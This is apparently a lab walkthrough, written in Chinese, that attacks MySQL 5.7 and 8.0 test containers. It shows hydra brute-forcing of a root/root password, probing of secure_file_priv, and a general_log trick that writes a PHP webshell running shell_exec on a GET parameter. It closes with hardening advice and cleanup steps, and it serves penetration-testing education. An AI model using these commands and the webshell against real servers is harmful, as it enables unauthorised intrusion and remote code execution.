目 录
[1.1 爆破与连接](#1.1 爆破与连接)
[二、INTO OUTFILE:被 secure_file_priv 拦住的第一条路](#二、INTO OUTFILE:被 secure_file_priv 拦住的第一条路)
[2.1 白名单内:成功](#2.1 白名单内:成功)
[2.2 白名单外:1290 报错](#2.2 白名单外:1290 报错)
[三、general_log 写文件:绕过 secure_file_priv 的正解](#三、general_log 写文件:绕过 secure_file_priv 的正解)
[3.1 8.0 对照:同样可行,管控在别处](#3.1 8.0 对照:同样可行,管控在别处)
[5.1 修复建议](#5.1 修复建议)
[5.2 验收标准](#5.2 验收标准)
[5.3 清场](#5.3 清场)
一、靶标与接入:从爆破到连接
服务型靶标的玩法与 Web 靶场不同:攻击入口从 HTTP 换成数据库协议,攻击面是「弱口令 + 服务端配置缺陷」。本篇靶标是第 1 篇部署的 MySQL 5.7.44(3307)与 8.0.46(3308),root/root 弱口令即切入点。
1.1 爆破与连接
hydra 爆破(先确认账号存在:nmap -p3307 --script mysql-brute 快速摸底)
hydra -l root -P /usr/share/wordlists/rockyou.txt mysql://10.10.10.240:3307 -t 8
3307mysql host: 10.10.10.240 login: root password: root
连接:MySQL 8.0 必加 --skip-ssl(8.0 默认强制 TLS,旧客户端握手失败)
mysql -h10.10.10.240 -P3307 -uroot -proot --skip-ssl -e "select version();"
mysql -h10.10.10.240 -P3308 -uroot -proot --skip-ssl -e "select version();"
5.7 返回 5.7.44-log,8.0 返回 8.0.46。两个版本就是一组对照组:同一套写文件链,两边表现完全不同------这正是本篇要讲的攻防演化。
二、INTO OUTFILE:被 secure_file_priv 拦住的第一条路
经典写文件姿势是 SELECT ... INTO OUTFILE,把查询结果落成服务器上的文件。先看变量约束:
mysql -h10.10.10.240 -P3307 -uroot -proot --skip-ssl -e "show variables like 'secure_file_priv';"
预期(实测,两个版本一致):
Variable_name Value
secure_file_priv /var/lib/mysql-files/
2.1 白名单内:成功
mysql -h10.10.10.240 -P3307 -uroot -proot --skip-ssl -e "select 'GL_MARK_OK' into outfile '/var/lib/mysql-files/gl.txt';"
docker exec mysql57 grep -c GL_MARK_OK /var/lib/mysql-files/gl.txt
1 → 写入成功。容器内验证,别只信 SQL 返回的 Query OK
2.2 白名单外:1290 报错
mysql -h10.10.10.240 -P3307 -uroot -proot --skip-ssl -e "select 'X' into outfile '/var/www/html/x.php';"
预期(实测):ERROR 1290 (HY000):
The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
1290 是本篇第一个关键学习点:secure_file_priv 从 MySQL 5.7.6 起默认指向专用目录,OUTFILE/LOAD_FILE 只能在该目录内活动------想把 webshell 写进 /var/www/html 直接撞墙。UDF 提权同理:它需要把 .so 写进 plugin_dir,而 plugin_dir 同样不在白名单内,写不进去,整条链在第一步就断(第 1 篇部署时用官方镜像默认配置,正是现实世界的主流形态)。
三、general_log 写文件:绕过 secure_file_priv 的正解
general_log(通用查询日志)的日志文件路径由 general_log_file 指定,而这两个变量不归 secure_file_priv 管。把日志文件指到 Web 目录、开日志,MySQL 就会把我们提交的 SQL 原文写进去------SQL 里带 PHP 代码,落盘即 webshell。
1) 开启日志并指向 Web 目录(以 5.7 为例)
mysql -h10.10.10.240 -P3307 -uroot -proot --skip-ssl -e "set global general_log_file='/var/lib/mysql/shell.php'; set global general_log=on;"
2) 写入带 PHP 代码的 SQL(日志原样记录)
mysql -h10.10.10.240 -P3307 -uroot -proot --skip-ssl -e "select '<?php echo \"GL_LOG_OK_\".shell_exec(\$_GET0);?>';"
3) 容器内确认落盘内容
docker exec mysql57 grep -c GL_LOG_OK /var/lib/mysql/shell.php
1 → 成功
两个实操细节:① 路径按实际 Web 根调整,靶场 MySQL 官方镜像没有 Web 服务,演示时写 /var/lib/mysql/ 并用 docker exec grep 验证落盘即可,原理与写 /var/www/html 完全等价;② PHP 代码里的 $_GET 等符号在 SQL 单引号内原样保留,转义层数多了容易错,建议先在本地把 PHP 串写好、再用双引号包 SQL。
3.1 8.0 对照:同样可行,管控在别处
mysql -h10.10.10.240 -P3308 -uroot -proot --skip-ssl -e "set global general_log_file='/var/lib/mysql-files/s80.txt'; set global general_log=on; select 'M80_MARK';"
docker exec mysql80 grep -c M80_MARK /var/lib/mysql-files/s80.txt
1 → 8.0 同样打通。general_log 链两个版本都活着
为什么这条链没被堵:日志路径是 DBA 的合法运维配置(排障刚需),官方不能一刀切禁掉。它的防线转移到了别处------Web 与 MySQL 分离部署(数据库上根本没有 Web 目录)、应用账号不授 SUPER 权限、审计 general_log 的开启行为。攻防两端都值得记住这个「合法功能成为攻击面」的模式。
四、版本差异与利用面总结
|-----------------|---------------------------------------------------|------------------------|
| 对比项 | MySQL 5.7.44 | MySQL 8.0.46 |
| 连接 | root/root,需 --skip-ssl(5.7.34+ 默认 TLS) | root/root,需 --skip-ssl |
| INTO OUTFILE | secure_file_priv=/var/lib/mysql-files/,白名单外报 1290 | 同左 |
| UDF 提权 | 写 plugin_dir 被白名单拦截 | 同左 |
| general_log 写文件 | 可用(核心考点) | 可用(核心考点) |
| 文件写入可控性 | 日志路径任意指定 | 日志路径任意指定 |
利用面排序(从弱口令开始):爆破 root → 探测 secure_file_priv → OUTFILE 白名单判定 → general_log 落文件 → 结合 Web 解析成 RCE。每一步都有明确的成败判据,不靠猜。
五、防御视角、验收与清场
5.1 修复建议
- root 禁止远程登录(bind-address=127.0.0.1 + user 表 host 限制),杜绝弱口令爆破面。
- secure_file_priv 设为专用目录(或 NULL),Web 目录绝不放入白名单。
- 应用账号最小权限:只授业务库增删改查,绝不授 FILE/SUPER/global 变量修改权。
- 监控 general_log 开关变更(审计 set global 语句),生产环境默认关闭。
5.2 验收标准
两个版本都能连接(含 --skip-ssl 细节);OUTFILE 白名单内成功、白名单外 1290(两个现象都要拿到);general_log 链在两个版本均通过容器内 grep 确认落盘。
5.3 清场
关日志、删文件------general_log 不关会持续写盘,属于「开了不关」的脏状态
mysql -h10.10.10.240 -P3307 -uroot -proot --skip-ssl -e "set global general_log=off;"
mysql -h10.10.10.240 -P3308 -uroot -proot --skip-ssl -e "set global general_log=off;"
docker exec mysql57 sh -c "rm -f /var/lib/mysql/shell.php /var/lib/mysql-files/gl.txt"
docker exec mysql80 sh -c "rm -f /var/lib/mysql-files/s80.txt"
终态确认:两台 general_log 都应为 OFF,落盘文件都应为 0
mysql -h10.10.10.240 -P3307 -uroot -proot --skip-ssl -N -e "show variables like 'general_log';" | grep -c OFF
下一篇继续服务型靶标:Redis 8.10.2 未授权访问。那里会看到一个更有教学价值的反面案例------三条经典 Redis RCE 链在新版上全部失效,而「主动出网」的验证思路依然可用。